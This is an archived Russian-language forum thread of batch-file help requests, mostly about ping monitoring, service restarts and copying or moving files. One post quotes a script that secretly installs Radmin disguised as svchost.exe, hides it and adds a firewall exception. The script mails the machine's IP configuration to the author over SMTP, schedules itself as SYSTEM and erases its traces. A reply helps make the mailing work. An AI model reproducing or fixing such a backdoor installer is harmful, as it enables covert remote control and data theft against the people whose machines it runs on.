Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 6

Автор: CYMar
Дата сообщения: 16.03.2009 15:01
Товарищи, прошу помощи.

Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.

Делаем
PING -n 1 192.168.0.1
ЕСЛИ "Превышен интервал ожидания для запроса" ТОГДА net stop SERVICE
Теперь ожидаем пока поднимется канал
ЕСЛИ ping -n 1 192.168.0.1
Ответ от 192.168.0.1: число байт=32 время=38мс TTL=59 ТОГДА net start SERVICE

Пробовал ping -n 1 192.168.0.1 if ErrorLevel 0 ..., но эффекта нет. Направьте на путь правидный.
Автор: BorlandIMHO
Дата сообщения: 16.03.2009 21:28

Цитата:
Что изменить в батнике что-бы коннектится в пасс. режиме и возможно ли это?

в ftp.cnf перед "get ...." добавить строчку
Цитата:
literal pasv
, переводящую сервер в пассивный режим. Если фокус не сработает (что не исключено) - юзать другие утилиты...



Добавлено:

Цитата:
Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.

Где-то так...
Код:
@echo off
set SERVICERUNNING=1
:HEAD
ping -n 1 192.168.0.1| find /I "Превышен интервал ожидания для запроса" && goto NOPING
if SERVICERUNNING=1 goto HEAD
net start SERVICE && set SERVICERUNNING=1
goto HEAD
:NOPING
if SERVICERUNNING=0 goto HEAD
net stop SERVICE && set SERVICERUNNING=0
goto HEAD
Автор: NvvLazyTiger
Дата сообщения: 17.03.2009 04:05
CYMar
Цитата:
Необходимо чтобы батник следил за наличием связи с удаленным узлом. В случае пропадания связи служба останавливается, а при появлении канала служба вновь запускается.

В предложенное BorlandIMHO я бы внёс два изменения:

1. Искал бы контекст " TTL=", а не "Превышен интервал ожидания для запроса".
2. После метки :HEAD добавил бы строку:
Sleep NNN

Тогда батник не будет зависить от руссификации ОС + удалённый ресурс будет пинговаться каждые NNN секунд, а не непрерывно.

NB. Утилита Sleep.Exe есть например в "Microsoft® Windows® 2000 Resource Kit Tools".
Автор: Maza_Faka
Дата сообщения: 17.03.2009 06:39
CYMar
Пример проверки связи каждые 30 сек.:

Код:
@Echo Off

:_Ping
::Пауза в 30 сек.
Ping -n 30 127.0.0.1>Nul

Ping -n 1 192.168.0.1 | Find /i "TTL">Nul && Net Start SERVICE || Net Stop SERVICE
GoTo :_Ping
Автор: El Sanchez
Дата сообщения: 17.03.2009 08:35
maxi812

Цитата:
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Скажите что не так ?

Бат для копирования Р Админ и отсылка IP адреса на мыло ...

почему не отсылает...

--------------------------------------------------------

cmdow @ /HID


copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"
copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"
copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll
copy /y "svchost.exe" "%SYSTEMROOT%/svchost.exe"
copy /y "raddrv.dll" "%SYSTEMROOT%/raddrv.dll"
copy /y "admdll.dll" "%SYSTEMROOT%/admdll.dll"

netsh firewall add allowedprogram "%Windir%\svchost.exe" "Remote Administrator Server" ENABLE

REG ADD HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters /v DisableTrayIcon /t REG_BINARY /d 00000001 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\r_server /v DisplayName /t REG_SZ /d "Service Host Controller" /f

"%SYSTEMROOT%/svchost.exe" /install /silence
"%SYSTEMROOT%/svchost.exe" /start

%SYSTEMROOT%/system32/blat.exe -install -server smtp.yandex.ru -port 587 -f вашапочта@yandex.ru -u вашлогин -pw вашпароль

ipconfig /all > %systemroot%/system32/ip.txt

blat.exe %systemroot%/system32/ip.txt -to вашапочта@yandex.ru

schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/system32\ip.bat


del cmdow.exe
del blat.exe
del blat.lib
del blat.dll
del raddrv.dll
del admdll.dll
del svchost.exe
del install.bat


Раз уж ты для радмина в файрволе правило создаешь, то может быть и для blat надо настроить 587 исходящий порт?

Автор: 01MDM
Дата сообщения: 17.03.2009 08:56
wolf0425

Цитата:
Вот бы еще как-то прикрутить к нему, что если обновление лога произошло - кроме новых строчек шел звуковой сигнал? пискнуть выводом 07h вполне бы устроило - но без перевода строки...



Код:
set /p=*<nul
Автор: Bozer12
Дата сообщения: 17.03.2009 15:04
Интересует литература по написанию .бат файлов. Работа с текстовыми файлами.
батник все таки не совсем то о чем я спрашивал. Печать последних 10 строк ( по умолчанию + выбор строки от которой печатать до конца)
Автор: CYMar
Дата сообщения: 17.03.2009 15:42
Bozer12
ИМХО Уильям Станек. Командная строка Microsoft Windows.
Смотри в #

BorlandIMHO, NvvLazyTiger, Maza_Faka
Спасибо, товарищи, что не бросили в столь тяжелой ситуации. Немного посидел и вот что накидал, может кому пригодится.

Код:
@echo off

set Try=0
set Good=0
set BadTry=0

set MaxPing=3
set MaxGood=25
set host=192.168.0.1

echo %date% %time% - Starting command file >> ping.log

:ping
ping %host% -n 1 > nul 2>&1
if not errorlevel=1 goto ok
echo BAD CONNECT %time% %Try%
set /a Try=%Try%+1
if %Try% geq %MaxPing% goto bad
goto ping

:ok
echo ALL RIGHT %time%
ping 127.0.0.1 -n 3 > nul
set /a Try=0
goto ping

:bad
echo Count value is more than %try%
rem set /a Try=0
echo Stoping service %time%
echo %date% %time% - Stoping service >> ping.log

set /a Good=0

:ping2
ping %host% -n 1 >nul 2>&1
if not errorlevel=1 goto 222
set /a BadTry=%BadTry%+1
set /a Good=0
echo BAD CONNECT %time% %BadTry%

goto ping2

:222
echo GOOD CONNECT %time% %Good%
ping 127.0.0.1 -n 3 > nul
set /a Good=%Good%+1
if %Good% geq %MaxGood% goto service_start
goto ping2

:service_start
echo Starting service %time%
echo %date% %time% - Bad count - %BadTry%, Starting service >> ping.log
set /a Try=0
set BadTry=0
goto ping

goto %ERRORLEVEL%
:1
goto ping
Автор: DESperado
Дата сообщения: 17.03.2009 16:09
Есть файл list.txt

Код: user-1
user-2
Автор: Mr_Hat
Дата сообщения: 17.03.2009 17:27
Объястните пожалуйста в чем проблема,
пересылаю по сети bat файл в кодировке 866 (OEM - русская)
с наличием кирилицы в теле файла,
а получный файл уже имеет кодировку 1251 (ANSI - кирилица)
Как это исправить, а точнее не допустить изменения кодировки при пересылке.

P.S. одинаковый результат как при передаче по Ftp так и через сетевое окружение.
Автор: Nagual
Дата сообщения: 17.03.2009 21:23
DESperado
а где вопрос?
Mr_Hat
не написал, как пересылаешь
есть подозрение, что в текстовом режиме
надо поставить бинарный
Автор: Mr_Hat
Дата сообщения: 17.03.2009 22:23
Nagual
Пересылаю, тотал командером, но там нет в настройках бинарного режима.
Автор: Nagual
Дата сообщения: 18.03.2009 00:45
Mr_Hat
TC - Настройка - FTP - Режим по умолчанию: Двоичный (zip, doc и т.д.)
Автор: DESperado
Дата сообщения: 18.03.2009 08:45
Есть файл list.txt c таким содержимым

Код: user-1
user-2
Автор: DamNet
Дата сообщения: 18.03.2009 12:34
Здравствуйте, помогите хотя бы советом, всю голову сломал (

Есть некий каталок, в нем куча подпапок, в каждой подпапке есть файлики, выглядит примерно так:
D:\Papka\Podpapka\File1.xls
D:\Papka\Podpapka\File2.xls
D:\Papka\Podpapka\File3.xls
D:\Papka\Podpapka\File4.xls
D:\Papka\Podpapka2\File1.xls
D:\Papka\Podpapka2\File2.xls
D:\Papka\Podpapka2\File3.xls
D:\Papka\Podpapka2\File4.xls
и.т.д.

Задача в общем-то простая, пройти по всем подпапкам и создать ещё подпапку, в которую переместить все файлы содержащии в имени например тотже "file"., тоесть:
D:\Papka\Podpapka\SecondOne\File1.xls
D:\Papka\Podpapka\SecondOne\File2.xls
D:\Papka\Podpapka\SecondOne\File3.xls
D:\Papka\Podpapka\SecondOne\File4.xls
D:\Papka\Podpapka2\SecondOne\File1.xls
D:\Papka\Podpapka2\SecondOne\File2.xls
D:\Papka\Podpapka2\SecondOne\File3.xls
D:\Papka\Podpapka2\SecondOne\File4.xls

Алгоритм представляю себе так, что берётся имя каталога (Podpapka) загоняется в переменную, заходим в эту подпапку делаем простейшие действия md, move, cd.. и так с каждым каталогом... вот только как сделать проход по всем каталогам, ума я что-то не приложу..

За любую помощь заранее спасибо.!
Автор: DESperado
Дата сообщения: 18.03.2009 12:37
Вот еще одна мучающая загадка в этом же коде
В файле list.txt находится заведомо неверное имя машины.
Но не могу понять почему при выполнеии батник заходит в ветку :WORK

Код: @echo off
chcp 1251 >nul
cls
for /F "eol=;" %%i in (%~dp0list.txt) do call :ping_test %%i
goto :EOF

:ping_test
Ping -n 1 %1 >Nul
@echo ErrorLevel - %ErrorLevel%
If ErrorLevel = 0 (Goto :WORK %1)
If ErrorLevel = 1 (Goto :NOT_WORK %1)
GoTo :EOF

:WORK
if %on_off%==Выйти net send %1 "Выйдите из программы"
if %on_off%==Зайти net send %1 "Можно работать в программе"
GoTo :EOF

:NOT_WORK
@Echo Комп %1 не работает
GoTo :EOF

:EOF
Автор: meandme
Дата сообщения: 18.03.2009 13:26
Комрады, помогите написать батник, который будет выполнять следующее :
1. Копировать все содержимое папки C:\Net, включая подкаталоги и т.д. (ip 192.168.0.1 источника) на машину в лок.сети с адресом 192.168.0.2 (к примеру) в папку диска D:\Net.
2. Заменять все существующие файлы.
Автор: Mr_Hat
Дата сообщения: 18.03.2009 13:49
meandme

Код: @echo off
copy /y /z "\\192.168.0.1\net" "\\192.168.0.2\net"
Автор: king_stiven
Дата сообщения: 18.03.2009 14:07
DamNet
Что то вроде

Код: FOR /D %%e in ("D:\Papka\*") do (
FOR /f %%d in ('dir %%e /b /a:-d ^| find /i "file"') do (
md "%%e\SecondOne" > nul
move "%%e\%%d" "%%e\SecondOne" > nul
)
)
Автор: meandme
Дата сообщения: 18.03.2009 14:19
Mr_Hat Спасибо!
Теперь другая трабла, батник копирует только папку NET, а вложенные папки и файлы - нет
Автор: Nagual
Дата сообщения: 18.03.2009 14:21
DamNet
как-то так попробуй:
Код:
set d=SecondOne
for /f %%a in ('dir/b/s/a:d') do md "%%a\%d%" 2>nul && move/y "%%a\*" "%%a\%d%\"
если файлов в конечной папке нет, надо делать дополнительную проверку

meandme
robocopy/mir "что" "\\к\у\д\а"
Автор: meandme
Дата сообщения: 18.03.2009 14:39
Nagual сейчас попробую. . Получилось! Комрады, спасибо за помощь!
Автор: DamNet
Дата сообщения: 18.03.2009 14:39
king_stiven

Спасибо большое, всё супер, кроме того момента, что в имни файла присутствуют пробелы, которые скриптом не воспринимаются ((
Автор: yahooeyu
Дата сообщения: 18.03.2009 14:41
Скажите, пожалуйста, как сделать, чтобы батник проверял в директории Windows на наличие новых (не по дате) файлов, и если такие имеются записывал в текстовый файл.
Возможно, что батник сверялся бы с уже имеющимся списком файлов из текстового файла. Можно ли обойтись без этого списка. Если нет, то как будет написана программа.
Автор: DamNet
Дата сообщения: 18.03.2009 14:49
Nagual

Спасибо большое ) а как сделать, что бы не все файлы копировались, а только содержащие некий фрагмент в имени файла?*

Автор: Nagual
Дата сообщения: 18.03.2009 15:35
DamNet
очевидно, поменять (*) в выражении "%%a\*" на свой фрагмент, например, "%%a\*fragment*.zip"
Автор: whoyou
Дата сообщения: 18.03.2009 15:39
Помогите исправить ошибку в батнике либо дать совет. Под ХР нумерация увеличивается, а под 2003 сервером файл 1.txt становится размером 0 байт.
(В папку d:\outgoing\ падают файлы они переименуются в конце добовляется счетчик, должен наростающий, потом фалы переносятся в другую папку, и так бесконечный процес пришли-переименовали-перенесли).

@Echo On
Set f_Ext=dat
Set f_Ok=ok
for /f "usebackq tokens=*" %%c in ("%temp%\1.txt") do Set f_Count=%%c
For %%a In (d:\outgoing\*.*) Do @Call :Rena %%a %%~ta
exit

goto :EOF

:Rena
Set /a f_Count=%f_Count%+1
Set f_Name=%1
Set f_Date=%2
Set f_Time=%3
Set f_Day=%f_Date:~0,2%
Set f_Month=%f_Date:~3,2%
Set f_Year=%f_Date:~6,4%
Set f_Hour=%f_Time:~0,2%
Set f_Min=%f_Time:~3,2%
Set f_NewName=out-%f_Year%%f_Month%%f_Day%-%f_Hour%%f_Min%-%f_Count%
echo %f_Count%>"c:\1.txt"

If Exist %f_NewName% Set f_NewName=%f_NewName%-%f_Count%
Ren %f_Name% %f_NewName%.%f_Ext%

copy nul d:\outgoing\out-%f_Year%%f_Month%%f_Day%-%f_Hour%%f_Min%-%f_Count%.%f_Ext%.%f_Ok%

goto :EOF

Заранее благодарен

Добавлено:
Помогите исправить батник. Под ХР счетчик работает - увеличивается, а под 2003 Серером файл 1.txt нулевой. (приходят файлы, переименовуются добовляя счетчик, а потом переносятся в архив).


@Echo On
Set f_Ext=dat
Set f_Ok=ok
for /f "usebackq tokens=*" %%c in ("%temp%\1.txt") do Set f_Count=%%c
For %%a In (d:\outgoing\*.*) Do @Call :Rena %%a %%~ta
exit

goto :EOF

:Rena
Set /a f_Count=%f_Count%+1
Set f_Name=%1
Set f_Date=%2
Set f_Time=%3
Set f_Day=%f_Date:~0,2%
Set f_Month=%f_Date:~3,2%
Set f_Year=%f_Date:~6,4%
Set f_Hour=%f_Time:~0,2%
Set f_Min=%f_Time:~3,2%
Set f_NewName=out-%f_Year%%f_Month%%f_Day%-%f_Hour%%f_Min%-%f_Count%
echo %f_Count%>"c:\1.txt"

If Exist %f_NewName% Set f_NewName=%f_NewName%-%f_Count%
Ren %f_Name% %f_NewName%.%f_Ext%

copy nul d:\outgoing\out-%f_Year%%f_Month%%f_Day%-%f_Hour%%f_Min%-%f_Count%.%f_Ext%.%f_Ok%

goto :EOF

Заранее благодарен
Автор: DamNet
Дата сообщения: 18.03.2009 15:53
Nagual

СПАСИБО!!! всё получилось!
Автор: DESperado
Дата сообщения: 18.03.2009 16:22
DamNet

Код:
@echo off
for /F "usebackq" %%a in (`dir /a:d /b`) do (
cd %~dp0%%a
md %~dp0%%a\SecondOne
for /F "usebackq" %%b in (`dir %~dp0%%a /a-d /b ^| find "file"`) do (
copy /y "%~dp0%%a\%%b" "%~dp0%%a\SecondOne
)
)
Автор: Joo1z
Дата сообщения: 18.03.2009 17:19
whoyou
Который нулевой

Цитата:
%temp%\1.txt

или

Цитата:
"c:\1.txt"

?

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: как сохранить сетевые настройки


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.